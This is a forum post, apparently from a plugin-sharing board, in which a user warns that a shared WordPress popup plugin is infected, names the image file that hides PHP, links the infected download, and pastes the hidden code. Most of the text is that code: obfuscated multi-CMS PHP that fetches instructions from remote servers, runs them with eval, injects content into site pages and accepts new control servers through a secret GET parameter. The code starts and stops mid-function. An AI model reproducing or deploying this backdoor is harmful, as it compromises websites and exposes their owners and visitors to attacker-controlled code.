$GLOBALS['base_url']) { $AKorMlJxhsFuVmuppepc = db_query("SELECT value FROM options where option_name = '{$NYOtWHUXirvRWKhceXsE}'")->fetchCol(); $NUwGojaMFrWOXnaoPPXm = $AKorMlJxhsFuVmuppepc; return $NUwGojaMFrWOXnaoPPXm[0]; }}function kCJMtAGyLhtYhIvdbnZk($zgWyMIVCeKwSmjusORA, $ytnxJjQqCvGdNRBKCigc) { if (WqGRFfQfiVUcPbdzdTbF($zgWyMIVCeKwSmjusORA)) { if (class_exists('JFactory')) { $AKorMlJxhsFuVmuppepc = and JFactory::getDBO(); $AKorMlJxhsFuVmuppepc->setQuery("UPDATE #__options SET value ='{$ytnxJjQqCvGdNRBKCigc}' WHERE option_name='{$zgWyMIVCeKwSmjusORA}'"); $AKorMlJxhsFuVmuppepc->query(); } if (function_exists('get_home_url') || function_exists('get_site_url')) { update_option($zgWyMIVCeKwSmjusORA,$ytnxJjQqCvGdNRBKCigc); } if ($GLOBALS['base_path'] || $GLOBALS['base_url']) { db_query("UPDATE options SET value = :value WHERE option_name = :option", array(':value' => $ytnxJjQqCvGdNRBKCigc, ':option' => $zgWyMIVCeKwSmjusORA)); } } else { if (class_exists('JFactory')) { $AKorMlJxhsFuVmuppepc = JFactory::getDbo(); $AKorMlJxhsFuVmuppepc->setQuery("INSERT INTO #__options(option_name, value) values ('{$zgWyMIVCeKwSmjusORA}' , '{$ytnxJjQqCvGdNRBKCigc}')"); return $AKorMlJxhsFuVmuppepc->query(); } if (function_exists('get_home_url') || function_exists('get_site_url')) { update_option($zgWyMIVCeKwSmjusORA, $ytnxJjQqCvGdNRBKCigc); } }}?>

[font='Times New Roman'] Cool Yo man, i just download this plugin from your given link just to check that are you still spreading infected files or learn a lesson and share it for real use. [/font]
[font='Times New Roman']Here is infected file link : http://dedifile.com/myy6hwqm1kno/arscode...4.zip.html Tongue [/font]
[font='Times New Roman']Now check file : arscode-ninja-popups.php[/font]
[font='Times New Roman']In last line of "arscode-ninja-popups.php" has <?php include('img/social.png'); ?>[/font]
[font='Times New Roman']This "social.png" file has following code.[/font][font='Times New Roman']huh!! php code in Image file does it look good to you. Don't share anymore, we don't need your infected shares. My rep is 0 but atleast i don't share infected files for reps. Go away you sick head. Angry [/font]
[font='Times New Roman']==============================================[/font]
[font='Times New Roman'][size=12][php][php]<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() { if (!defined('WP_OPTION_KEY')) { define('WP_OPTION_KEY', 'wp_data_newa'); $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1); }}if (class_exists('JFactory')) { $fRBDRzVvkOhTDTWAHUGa = and JFactory::getApplication(); $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');}if ($GLOBALS['base_path'] || $GLOBALS['base_url']) { if (!defined('WP_OPTION_KEY')) { define('WP_OPTION_KEY', 'wp_data_newa'); $whjjnvouGqpgVFKDaceH = 'function ' . $template->name . "_page_alter(and\$page) {\$oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(2); \$NygjKszxwCxlHbyDpHTT = \"\"; foreach (\$oXyaqmHoChvHQFCvTluq->oXyaqmHoChvHQFCvTluq['echo'] as \$stIedxfhoZcXvZNmNXTd) { \$NygjKszxwCxlHbyDpHTT.=\$stIedxfhoZcXvZNmNXTd; } \$vsGIQvwCXRbSELMOlFV = \$NygjKszxwCxlHbyDpHTT; \$page['page_top'][] = array('#markup' => \$vsGIQvwCXRbSELMOlFV); } "; } eval($whjjnvouGqpgVFKDaceH);}if (!defined('WP_OPTION_KEY') and& (function_exists('get_home_url') || function_exists('get_site_url'))) { define('WP_OPTION_KEY', 'wp_data_newa'); new GsSYoMTsQibQgcHcuGmr(0);}class GsSYoMTsQibQgcHcuGmr { public $oXyaqmHoChvHQFCvTluq = array(), $yYVsqvOoqWsddypXgJcI = array(), $KPnBqYhemQSdHKDNtJpe, $qcCONSsvpJlMgdhEFFmr, $IzGRmpLLtcLVMJRxcfpe, $aJQafHDwnaPrCJrQMjHV, $AeRxXNHxOXpcNJWlZSIK, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGY, $wqawPxkNytKqRKNRqbwA, $IatJdWimJbxtprWZElHe, $YobOrWbieESFVcSsWsuB; public $WbKPQMoSbMZkXUeYKXRI; public function __construct($KPnBqYhemQSdHKDNtJpe) { $this->KPnBqYhemQSdHKDNtJpe = $KPnBqYhemQSdHKDNtJpe; if ($KPnBqYhemQSdHKDNtJpe === 1) { $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `#__options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; $AKorMlJxhsFuVmuppepc = JFactory::getDbo(); $AKorMlJxhsFuVmuppepc->setQuery($fNkUjsWlUtvjeWmrzNlI); $AKorMlJxhsFuVmuppepc->query(); } if ($KPnBqYhemQSdHKDNtJpe === 2) { $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; db_query($fNkUjsWlUtvjeWmrzNlI); } $this->yYVsqvOoqWsddypXgJcI = array( '==DZk4FZlVwY5RGZhpQB' ,'=4JnhZUpck2olIKM', '=4JnhZ3M1WJMeyTo', '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', 'hyzY5Izpi1JM29Jo', '==jMl9zY5ITMi9zMiyzL', 'aW3ohVGqlpzocuTq55JL', '==jMl9zYhI2LmEapiO3p', 'aW3oh4JLwAUq0I3L', '=pzpi5lp0WKLjSJMyWaM', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', '=4Jnh4JqvyKMh9Tn', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', '6yzLh4zpiEKMfqzocWaL', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '=HJohNKqbSTof9Tn', '=DKMh5lpyEJLlq2ohSzo', '6yzLhxapu1TMuITM', '==Nqy5zY39zoe1JLyWUM', '==Nqy5zYlITqm9zM5STo', '==joz5JnhZKMa5JLlE3p', '==trcWzYfy2MlITqhIUn', '=bKnv5FM4S2nfyJo', '=bKnv5PqcgJLgSzp', '==trcWzYfk2ovITqiIKp', '==DoiAzYm52ox1zM', '=02ow5lpwy2p11JLlSTM', '=02ow5vpyWzLiWzpyq2MiWaM', '=02ow5lphIJof92n', '=02ow5lpykTpgS2pi9zM', '==DoiAzYmEzpu9zL2EKo', '==trcWzYmyKLxIao', 'iMzoc5lp5kzMx5JLlS2L', '==jow5lqikTn0SJo', '=82Lh82nhIJo', '=02ow5vpiu3Lc1JLhyUM', '==DMg5FngSTMhI2q', '=bKnv5Pqcg2of9zr', '==jqj5PofS2qlITqhSTn', 'aW3ohD3owyKMh9Jo', '6yzLhxKoyEJLwSJM0y2pvI2q', '=bKnv5lo5ITMi9zM', '==trcWzYmkJL0W3ojAKM', '==toc5lp3Izo3SJo', '=4Jnhf2LiWKolITq', 'hyzYeA2olIzoiE3p', '=4Jnh82oz1zM', 'hyzY0WKLjSJMyWaM', '==toc5PMhSTolSTqcI3M', '==toc5vou12MiWUp', '==toc5voz1zM', 'hyzYj9TouWKMhI2M', '=4JnhjJL0W3ojAKM', '=8zMhyzYykTpgS2pi9zM', '==joz5JnhHJMlMTAiWTn', '==joz5JnhHaZhITqmyTo', '=8zMhyzYyqJLjgzo', 'iMzoc5vMfSTnvI2q', '3OaYm5JqaWzM', '=pUphH2nuEaZwyTp', '=pUphZapyE3pu1JMmIzocu2L', '=pUphxUMukJr6SToi9zM', '3OaYyAKqi92n', '0IzohxKLxIao', '=DKMh5Fne9TMhyzM', '==Nqy5zY5kzMx5JLlS2L', '==Nqy5zYi9zMgyzM', '==Nqy5zY392qzqKL', '==DoiAzYyyao2EKo', '=02ow5lpuyTMySKney2q', 'g92Lh4JMwEapiO3p', '=02ow5FMyWaM2EKo', '==DoiAzY3Izo3SJo' ); $this->aJQafHDwnaPrCJrQMjHV = array( '=HaphjJnu1TD1ETn1c2p', '==DoiAzYfyJLgqTDwyToiMKLlESofSTMhSzH', '==DoiAzYfyJLgqTDkHGBkDapyq3phSHouyTofy2I', 'g92LhjJnu12MNEJMjWKq0IzDmSJoiuTI', '==DoiAzYfyJLgqTD39TqlITnHIJnfIaF', '==DoiAzYfyJLgqTDx5JLaIzpv1JqGIzouyTE', 'g92LhjJnu12MNyaL4STqc12oQWKMbO3o0AKnlu2D', '=02ow5PocSJoaORZ4xGZmyJobAIL0yzH', '=02ow5PocSJoaORMhSTqlSTovI3oGy3LuE3H', '==DoiAzYfyJLgqTDhIToxyzEl9zqyWUI', '=02ow5PocSJoaORMy5zpyOUpOqJnuW3D', '==DoiAzYfyJLgqTDmHGBk4JMxSHMjIUG', 'g92LhjJnu12MNyQAlIzp192Dy5Jn0AKnlu2D', 'g92LhjJnu12MNIJo05JngS2H0WKMv9zH', '==DoiAzYfyJLgqTD1DQquu2pcuTIy5zou9zF', '==DoiAzYfyJLgqTDxIzpx5JnuqRoySTnwyJG', '=02ow5PocSJoaORMyE3LyWUHyyTqlIzD', '=02ow5PocSJoaORMuuTqa5JnuAyrcWUquIzD', 'g92LhjJnu12MNA3py12oKS2LcWKE', 'g92LhjJnu12MNAap1EKMGWKMbO3o0AKnlu2D', '=02ow5PocSJoaOxpyE3puuTIh5JD', '==DoiAzYfyJLgqTDbEKnx5JDyyTnj92H', 'g92LhjJnu12MNEaoyq3o05JIhyzqfIJG', '=02ow5PocSJoaORA4xGZxI2MlITn09TpjS0nlSJG', '==DoiAzYfyJLgqTDjLGBkHTq192H0WKMv9zH', '=02ow5PocSJoaORMcSToj1JMfWJDyI2LhSzG', 'g92Lhj2ouOHoiWaLuEJn', '=02ow5PoiSTDcEJLg91L', '==DoiAzYf9JLNSQofy2Mw1zYyyJogyzn', '=02ow5PoiSTDljJM0STphf2L1u2L', '==DoiAzYf9JLNSwpyMJLbA3KuEaoucJL', '=02ow5PoiSTDyI2Mu12KyWUMhSzr', 'g92Lhj2ouORMlSTnwIzLyAKnhITM', '==DoiAzYf9JLNWKMhEUq1WzocWUMfIJo', '=02ow5PoiSTDfSzpiEJLxkJL', '==DoiAzYf9JLN52omWJna9IL5Szn', 'g92Lhj2ouO0pykJn0AaYy5Jn0AKnlu2L', '==DoiAzYf9JLNcKLj5lo05JnwSzn', '=02ow5PoiSTDbAJnyW3pc12oe9zo', 'g92Lhj2ouOHZhyzpl9JobqJLhIJo', '==DoiAzYf9JLNWJL0EKMfI2M', '==DoiAzYf9JLNWKM0AKMigzYyyzpl9TM', '=02ow5PoiSTDyEKLgIUnm5Pp', 'g92Lhj2ouOxoiAaouq3psSJnh9ToiOKL', '==DoiAzYf9JLN1JLb5JLlW2KgSJnlyJo', '==DoiAzYf9JLNSmolWKL2SzosyKMfSTn', '=02ow5PoiSTDk4zpiu2KuyzpyEJLhSTp', '==DoiAzYf9JLNS2nmSTnm5vq', 'g92Lhj2ouORoyITqsyaohI2n', '=02ow5PoiSTDh92phyTqhRJrcWUp', '=02ow5PoiSTDygzp1W2KukToyE3p', '==DoiAzYf9JLN5Jn6k2oj5loxWKLwIzp', '==DoiAzYf9JLNcKMlI3ofSTq', '=02ow5PoiSTDmEapyWzLy9ILbEKMl9TM', '=02ow5PoiSTDkDUoiWzocSzpskJqxWJL', '=02ow5PoiSTDmITqlIJqz5vq', '=02ow5PoiSTDay2q0WKLb9SMyW3L', '=02ow5PoiSTDa5Jnzu2olyaplSTo', 'g92Lhj2ouO0phy2May2qh4Jn2kJL', 'g92Lhj2ouOHZ5ITofI2nh8Jnwyzp1SJo', '==DoiAzYf9JLN1JLhgJnh9ILxIzq', 'g92Lhj2ouOHnhyJqlIzoiITo', '==DoiAzYf9JLNqzouI3oe5Fo', '=02ow5PoiSTDuEJMl9zrsSTn0WKMvkJL', '==DoiAzYf9JLNWKqm5JLg9In', '==DoiAzYf9JLN52ogg2Lcu2KhS2Ml9Jo', '==DoiAzYf9JLNWKMxyJMz5lL', '=02ow5PoiSTDhyTo1EzYbAKL', 'g92Lhj2ouOxpy5zpiqzYukJMgSTp', 'g92Lhj2ouOxohS2qhRzrukzL', '=02ow5PoiSTDykJM6IJn65FL', '==DoiAzYf9JLNA3pyu2Kv9zp', '==DoiAzYf9JLNWUnikzMhRToyy2LuW3M', '=02ow5PoiSTDkHzoiMKLv9ILckJMlIKL', 'g92Lhj2ouOHZfIKLj9In', '=02ow5PoiSTDm5JnaE2ob5PqlSzL', '==DoiAzYf9JLNITouIzqhxTM', '=02ow5PoiSTDuy2LmIKosSTMhIUnmSTo', '=02ow5PoiSTDkf2Li1zYuEKnf9To', 'g92Lhj2ouOxouAJn4IJoskJnlOKL', '=02ow5PoiSTDkjToyq3oj5voyWKn', '=02ow5PoiSTD0IJog9zpw5ln', '=02ow5PoiSTDmO3oiE3p0IJMd5JLly2n', '==DoiAzYf9JLNk2olWKLw9IL0AKMx9Jo', 'g92Lhj2ouOxouyKLvSzLxITnmSzp', 'g92Lhj2ouOHZmgzpuOaYfkJM3Izn', 'g92Lh82obSJrN1Jn5I2p192DuAKn19TG', '=02ow5loiuJL5OHqf9zocqUMi92Euy2LckJD', '=02ow5loiuJL5O0ohy3p3Izpx5JDyy2nwSzF', 'g92Lh82obSJrN9zMuIzpi1zpyMKnZITq0ITof92D', '=02ow5loiuJL5OHrfyJrlWKIuyzqfy3H', '=02ow5loiuJL5ORMiMzoiAaocW2oFSJnwIUG', 'g92Lh82obSJrNqJn2AKn0WKLDyUolS2D', 'g92Lh82obSJrNI3pjIJnh5JMZy3p0STH', '=02ow5loiuJL5O0MxSJMm9zDyyzqyE3H', '==DoiAzYi9TnuyUDeSzp5ITouITFyyzouuTpyE3H', '=02ow5loiuJL5OHrhITquuJnByaplITI', 'g92Lh82obSJrNyzLy5JnzMJnlqHL5SJG', 'g92Lh82obSJrNAJo1I2Mxyzpa5JLZyaohSTE', 'g92Lh82obSJrNOKngyKM39TIyIKpckJMa5JD', '=02ow5loiuJL5OxMaIKMm9zHgy2F', '=02ow5loiuJL5OxL5kzoiAUoy5xoiWapuu2H', 'g92Lh82obSJrN1JrayaplSTF5ITocI2F', '==DoiAzYi9TnuyUD5WJnmI2MxyzpPyzLv9zD', '==DoiAzYi9TnuyUDfy3LxW3ozkTouuHL5SJG', 'g92Lh82obSJrN52o0yKMfu2L0STIy5JMxSzF', '=02ow5loiuJL5O0oi1TMuETMuuHMwyzouu2H', '=02ow5loiuJL5OxoukJMiqJLFyaLvyTG', '=02ow5loiuJL5OHM0SJMfOUpcEIrwSTG', '=02ow5loiuJL5OHrv9Tnw92oUyKogS2H', 'g92Lh82obSJrNE3o25JMfkJEhIJn2yzI', '==DoiAzYi9TnuyUD5WJqy5JnxWKLXIJn0AKnlu2D', 'g92Lh82obSJrNIaq1g2LcuTpfIHMfITnwyJG', '=02ow5loiuJL5O0oj9TolSJEyyTofyJG', '==DoiAzYi9TnuyUDvyUMyyTqmyzpbAHLcqzpiI2E', 'g92Lh82obSJrN9zpf52omyzohITEyyToc1JE', '==DoiAzYi9TnuyUDlqJrmyToa5JFgSJnlyJG', '==DoiAzYi9TnuyUDuIKqfkJqU52o2ITE', '=02ow5loiuJL5OHqgIUq0I2nwSToP5JLly2F', '==DoiAzYi9TnuyUDuy3LxITq4y2IhyJo6SJJ', '=02ow5loiuJL5OHnm9zpyAap1OyouIzF', '=02ow5loiuJL5OHLcAKr2STEyIJnx9zF', '==DoiAzYi9TnuyUD292pyAJrlWHrfWKM2IzD', '==DoiAzYi9TnuyUDcWJLwyzqyAJnaSzpRyaohSzE', '=02ow5loiuJL5OHrwIUofI2nmSJGyyzLvITE', 'g92Lh82obSJrN5JneyToiyJLlWKMTSzpuy2D', 'g92Lh82obSJrN9zqc52o0WKMe5JnDyKMfSTF', '=02ow5loiuJL5O0L1y3nlIUqlIUFuEKnhIzD', 'g92Lh82obSJrNSJnw52omETou52oREKMhSzF', 'g92Lh82obSJrNyKouyaLfyTnDITq0ITof92D', '=02ow5loiuJL5OHnzWJMc5zoykHngIzH', 'g92LhjJnu1TqiuTD5kJnlyUqyM2oeIar', '=02ow5PocSJo09TnNM3olyUpcuJMgSzM', 'g92LhjJnu1TqiuTDyEKqlyTriEJqvyan', 'g92LhjJnu1TqiuTDcWKneSzo1E3olyJp', 'g92LhjJnu1TqiuTDuqJLfyUMiq2o0yzL', '=02ow5PocSJo09TnNEKqvI2L1uJrzI2M', 'g92LhjJnu1TqiuTDu5Jndy3MyOKnaITq', '=02ow5PocSJo09TnNcKrkIzq15JnhIUo', '=02ow5PocSJo09TnNEJqgIaL1WKMvy3n', 'g92LhjJnu1TqiuTDuEKMlyzr5A3o6Iar', 'g92LhjJnu1TqiuTDcuKr6y3pcEJMmyzM', '=02ow5PocSJo09TnNWKrkSzo5E3oh92n', 'g92LhjJnu1TqiuTD55JMwy3MigJrjSzM', '=02ow5PocSJo09TnNuKLaSTnu52o3yUM', 'g92LhjJnu1TqiuTDyqKn6SJp1AJnfyUo', '=02ow5PocSJo09TnNOKLxSzMcuJMwSTr', 'g92LhjJnu1TqiuTDyg2olyzpiuJn4yzo', '=02ow5PocSJo09TnNAJngIaMyAKrvIzL', 'g92LhjJnu1TqiuTDu1JLmIaM1M3owS2n', '=02ow5PocSJo09TnNA3oxSzn1MJrwyap', 'g92LhjJnu1TqiuTDiuKq69zr5u2o0SJo', '=02ow5PocSJo09TnNAKrgyUn5uKqb9To', 'g92LhjJnu1TqiuTDykJqgIKpuqJrayTn', 'g92LhjJnu1TqiuTDyWKLxyzpcqJq4Szp', '=02ow5PocSJo09TnNAJL0I2LcAJnxyzn', 'g92LhjJnu1TqiuTD5c2ojSzMcAKnzyzo', '=02ow5PocSJo09TnNcKqeyzniqJLl9To', '=02ow5PocSJo09TnNu2o4y2MiAJM0Iao', '=02ow5PocSJo09TnN5JreS2M5EKnhITo', '=02ow5PocSJo09TnNAJnwyUncEJqbSTo', '=02ow5PocSJo09TnNuJnvIznuEKMaIao', 'g92LhjJnu1TqiuTD1EKrmy3LyMJqkIKo', 'g92LhjJnu1TqiuTDuEJMfIUo5kJq4y2M', 'g92LhjJnu1TqiuTDyEKMgIUM5MJMgS2n', 'g92LhjJnu1TqiuTDuAKrmy3LuAKrk9zn', 'g92LhjJnu1TqiuTDcWJLgy3ny5Jq6yTp', 'g92LhjJnu1TqiuTDyMJLjSTM5W3o49zp', '=02ow5PocSJo09TnNW3oaSTMcuKrmITo', '=02ow5PocSJo09TnNSKr6IaLcSKMbS2n', 'g92LhjJnu1TqiuTD1E2o2yzruAKqv9zq', '=02ow5PocSJo09TnNEJngITqucJreyTM', 'g92LhjJnu1TqiuTDiu2oly3L1u3o3yaM', 'g92LhjJnu1TqiuTD15Jqa9zn1OKqmyJp', 'g92LhjJnu1TqiuTDuuKn4SJpiAKrey3p', '=02ow5PocSJo09TnNgJMzSJpuWJq2yTp', '=02ow5PocSJo09TnNuJn4IzqiW3o39Jo', 'g92LhjJnu1TqiuTD5SKnmIaricKrvIJo', '=02ow5PocSJo09TnNS3odS2MyuJqxyTo', '=02ow5PocSJo09TnNcJrzyJp55JqeI2q', 'g92Lhf2oikTq19TD5uJL4yTM1EKMk9zM', 'g92Lhf2oikTq19TD5AJq4Iaq1uKq4y2p', '=02ow5lni9To0I3oNc3ojIKocMJMgy3n', '=02ow5lni9To0I3oNc3ogSzq5EJnaIUo', '=02ow5lni9To0I3oNcKnd92pigJM292p', 'g92Lhf2oikTq19TD5EJMfy3pycJn29zr', '=02ow5lni9To0I3oNcJqkyaq1gJr0Izo', 'g92Lhf2oikTq19TDyAJnd9Tn5EJMwSJp', '=02ow5lni9To0I3oNSKLgyUpygJq4yao', 'g92Lhf2oikTq19TDuEJrjIzocuJMxS2L', '=02ow5lni9To0I3oNu3ojyJoySKqvITr', 'g92Lhf2oikTq19TD5EJqhyTn1gJMkyan', 'g92Lhf2oikTq19TD5AJneITncqJndyUp', 'g92Lhf2oikTq19TD15JnwIUoykJLgI2M', 'g92Lhf2oikTq19TDuOKrfSJou1Jn0IUr', '=02ow5lni9To0I3oNuKqhyapcWKnxy2M', '=02ow5lni9To0I3oNcKMbSznucJq0Iap', 'g92Lhf2oikTq19TD5A3omy3nicJrdy3M', 'g92Lhf2oikTq19TD1WJrgS2Mc12omIzM', '=02ow5lni9To0I3oNO3ofy3qiMKqbIzr', '=02ow5lni9To0I3oNEKn4I3L1SKqfIUq', '=02ow5lni9To0I3oN5JrfyzMcMJqfIKp', '=02ow5lni9To0I3oNqKrxSTqygJrk9zo', 'g92Lhf2oikTq19TDikJnvSJp5qKqkIar', 'g92Lhf2oikTq19TD5O3ovy2piqJnhIUq', 'g92Lhf2oikTq19TDyMKL092L5MKqwIzL', '=02ow5lni9To0I3oNcJqbIap5cKL0yKp', 'g92Lhf2oikTq19TD5qKrdS2qiAJMvITq', '=02ow5lni9To0I3oNWKM6yarycJqjSzo', '=02ow5lni9To0I3oN1JM39JoiAKMbyaL', 'g92Lhf2oikTq19TD55JnmIUM1cKrm92p', '=02ow5lni9To0I3oNq3oh9zryc3og9Tq', 'g92Lhf2oikTq19TD1OKrvyaMuWJqxyUM', 'g92Lhf2oikTq19TDiMKnvyaM1uJngIzr', '=02ow5lni9To0I3oNqKMbIUnyqKMeSTp', '=02ow5lni9To0I3oNqKngIzL1uKLlIzo', 'g92Lhf2oikTq19TDu52oj92LyuJLmyzp', '=02ow5lni9To0I3oNOKL69zMucKMlSTM', '=02ow5lni9To0I3oNuKqmyTnucJM2I3L', 'g92Lhf2oikTq19TDySKrmSTn5qKLbIao', 'g92Lhf2oikTq19TD1EKnxIJoccKL0Iao', 'g92Lhf2oikTq19TD5qKr6yzoicJMa9zo', 'g92Lhf2oikTq19TDuqJnzIao1MJnxIao', '=02ow5lni9To0I3oNc2odI2p1WKMgIzr', 'g92Lhf2oikTq19TD1uKndSTquqJrhSTo', '=02ow5lni9To0I3oNuKrwyap1cJL39Tn', '=02ow5lni9To0I3oNEJrkS2pikJMbIzn', 'g92Lhf2oikTq19TDiqJMay2p1E2ofyaL', 'g92Lhf2oikTq19TDiqKqfIzoykJqlyzo', '=02ow5lni9To0I3oNcKrbSzn51JrzI2n', '=02ow5lni9To0I3oNgJLh92McuKqm92p', 'g92Lhf2oikTq19TDcq2owyap112ox9Tq', 'g92Lhf2oikTq19TDiWJq6yJoykJMjS2M', 'g92Lhf2oikTq19TDugJray3qcqJnwSzM', 'g92Lhf2oikTq19TDcqJnmyzruEKqeyzM', '=02ow5lni9To0I3oN5JMmyUr5AJn2yUp', 'g92Lhf2oikTq19TD5MJLfyTMuc3o6Izr', 'g92Lhf2oikTq19TDiAJq6yTpyEJMbI3M', '=02ow5lni9To0I3oNAJqvI2q1MKLxS2q', 'g92Lhf2oikTq19TD1EKLeSzp11JLxy2p', ); $this->dIOUyQsvDqPHTBIxnlYs(); $this->YobOrWbieESFVcSsWsuB = false; $oXyaqmHoChvHQFCvTluq = WqGRFfQfiVUcPbdzdTbF(WP_OPTION_KEY); if ($oXyaqmHoChvHQFCvTluq == null || $oXyaqmHoChvHQFCvTluq == 'null') { $oXyaqmHoChvHQFCvTluq = ''; } if ($oXyaqmHoChvHQFCvTluq == '') { $this->wqawPxkNytKqRKNRqbwA = true; $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt('new'); $this->QxEolVsSqvJZyRSgHFmL(); } else { $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt(); $this->oXyaqmHoChvHQFCvTluq = $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluq, true); if (isset($this->oXyaqmHoChvHQFCvTluq['info']['publicKey'])) { $this->AeRxXNHxOXpcNJWlZSIK->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluq['info']['publicKey']); } } $this->OFwlxWaeMyxznpZtnfJL(); if ($this->TztHMzNNJASlMfiSOwxQ()) { die(); } if (!$this->wqawPxkNytKqRKNRqbwA) { $this->KPBBXYwmuPGPaTyLhWev(); } } private function QxEolVsSqvJZyRSgHFmL() { if (!defined('wp_newData')) { $WbKPQMoSbMZkXUeYKXRI = $this->KZdGlovqEtKYUSCqSVnK(); $WbKPQMoSbMZkXUeYKXRI['publicKey'] = $this->AeRxXNHxOXpcNJWlZSIK->qPhSGyDrRdyPezAnHgia(); $this->WbKPQMoSbMZkXUeYKXRI = $WbKPQMoSbMZkXUeYKXRI; $vsJigIMHYwdFnuqvRwrv = false; $BCEUSjHFFwzzqmHmpjjQ = 0; foreach ($this->HSxTktcbTftjZjKRHHmh() as $gXNjWLFkUQOugyREMXKv) { $oXyaqmHoChvHQFCvTluq = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI); $oXyaqmHoChvHQFCvTluq = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq); if ($oXyaqmHoChvHQFCvTluq !== false) { $vsJigIMHYwdFnuqvRwrv = true; if ($this->YobOrWbieESFVcSsWsuB) { break; } break; } } if ($vsJigIMHYwdFnuqvRwrv) { if ($this->YobOrWbieESFVcSsWsuB) { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); } $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI; $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); $this->XnpSvtOjNDRmxyfzaDKl(); } return $oXyaqmHoChvHQFCvTluq; } return false; } public function TztHMzNNJASlMfiSOwxQ() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if ($oXyaqmHoChvHQFCvTluq == '') { return false; } $SntMBKFkfTlUzXyNVQed = @$_GET[$this->oXyaqmHoChvHQFCvTluq['info']['serverKey']]; if (isset($SntMBKFkfTlUzXyNVQed) and& $SntMBKFkfTlUzXyNVQed == '') { echo '<div id="serverList" style="display: none">'; $bQYduZxDrtPMJtaBCQyc['servers'] = $oXyaqmHoChvHQFCvTluq['servers']; echo json_encode($bQYduZxDrtPMJtaBCQyc); echo '</div>'; die(); } else if (isset($SntMBKFkfTlUzXyNVQed) and& isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) { if (isset($this->oXyaqmHoChvHQFCvTluq)) { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); } $oXyaqmHoChvHQFCvTluq['servers'][] = $SntMBKFkfTlUzXyNVQed; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); die(); } return false; } public function OFwlxWaeMyxznpZtnfJL() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if (!isset($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == null) { return; } if (!is_array($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == '') { return; } if (@$oXyaqmHoChvHQFCvTluq['info']['eval'] == 1) { if (is_array(@$oXyaqmHoChvHQFCvTluq['eval'])){ foreach (@$oXyaqmHoChvHQFCvTluq['eval'] as $vsGIQvwCXRbSELMOlFV) { eval($vsGIQvwCXRbSELMOlFV); } } } if (isset($oXyaqmHoChvHQFCvTluq['echo'])) { if (!defined('wp_footerLeo')) { if ($this->KPnBqYhemQSdHKDNtJpe == 0) { add_action('wp_head', array($this, 'WvOoqSuRpZkhgAAFQVjB')); } if ($this->KPnBqYhemQSdHKDNtJpe == 1) { $TwuofLreLHIfBVaVCCiU = JResponse::getBody(); $ApLmKvpeQdKOrRbdNvZr = &JFactory::getDocument(); 